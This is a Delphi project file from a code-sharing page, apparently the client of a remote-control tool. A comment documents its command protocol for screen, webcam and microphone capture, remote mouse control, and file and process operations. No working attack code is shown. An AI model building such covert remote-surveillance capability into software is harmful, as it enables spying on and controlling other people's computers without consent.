capturemediaclient.dpr

来自「delphi源代码。iocp远控比较完整的代码」· DPR 代码 · 共 134 行

DPR
134
字号
program  CaptureMediaClient;

uses
  Windows,
  MianWindow in 'MianWindow.pas',
  Const_PublicUnit in 'Const_PublicUnit.pas',
  SelectEventClientClass in 'SelectEventClientClass.pas',
  PublicFunctionUnit in 'PublicFunctionUnit.pas',
  CaptureMediaUnit in 'CaptureMediaUnit.pas',
  vfw in 'vfw.pas',
  FileListAndSysInfoUnit in 'FileListAndSysInfoUnit.pas',
  MxZLib in 'Zlib\MxZLib.pas',
  WinSock2 in 'winsock2\WinSock2.pas',
  Lzo in 'lzo202\lzo.pas',
  ServiceControlUnit in 'ServiceControlUnit.pas';

//4 + 4 + 4 + 4 + 4 + CmsData
(*
 命令格式:
   对象    :4byte, 标识不同的命令对象,共五个CapScreen,TransmitFiles,GetSystemInfo,CapVideo,CapAudio
   命令    :4byte,标识不同的操作命令如下:
             CapScreen类:
                    1BitPixel:
                    4BitPixelGray:
                    4BitPixelColor:
                    8BitPixel:
                    16BitPixel:
                    24BitPixel:
                    MouseCtrl:
             TransmitFiles类:
                    IsCoverOrignal:
             GetSystemInfo类:
                    GetFileList:
                    GetProcessList:
                    GetWindowList:
                    GetSysInfo:
                    GetSinglePic:
                    //文件操作
                    DelteFile:
                    MakeDir:
                    PeastFile:
                    CopyFile:
                    RenameFile:
                    SendFileList:
                    CutFile:
   命令扩展:4byte,对于不同的命令操作,有不同的意义如下:
             CapScreen类:
                    0
             TransmitFiles类:
                    StartPos:
             GetSystemInfo类:
                    GetFileList:
                            0
                    GetProcessList:
                            0
                    GetWindowList:
                            0
                    GetSysInfo:
                            0
                    GetSinglePic:
                            0
                    //文件操作
                    DelteFile:
                            0
                    MakeDir:
                            DirAttribute
                    PeastFile:
                            CopyOrCut
                    RenameFile:
                            0
                    SendFileList:
                            0 
   命令扩展--源串长度:4byte,意义如下:
             CapScreen类:
                    0
             TransmitFiles类:
                    FileNameLen:
             GetSystemInfo类:
                    GetFileList:
                            0
                    GetProcessList:
                            0
                    GetWindowList:
                            0
                    GetSysInfo:
                            0
                    GetSinglePic:
                            0
                    //文件操作
                    DelteFile:
                            FileNameLen:
                    MakeDir:
                            FileNameLen:
                    PeastFile:
                            SourceNameLen:
                    RenameFile:
                            SourceNameLen:
                    SendFileList:
                            FileNameLen:
   命令扩展--目标串长度:4byte,意义如下:
             CapScreen类:
                    0
             TransmitFiles类:
                    FileNameLen:
             GetSystemInfo类:
                    GetFileList:
                            0
                    GetProcessList:
                            0
                    GetWindowList:
                            0
                    GetSysInfo:
                            0
                    GetSinglePic:
                            0
                    //文件操作
                    DelteFile:
                            0
                    MakeDir:
                            0
                    PeastFile:
                            DestNameLen:
                    RenameFile:
                            DestNameLen:
                    SendFileList:
                            0
   文件名等等的信息:N byte,主要和命令有关系,
*)

begin
  CreateTheMainBoxForm;
end.

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?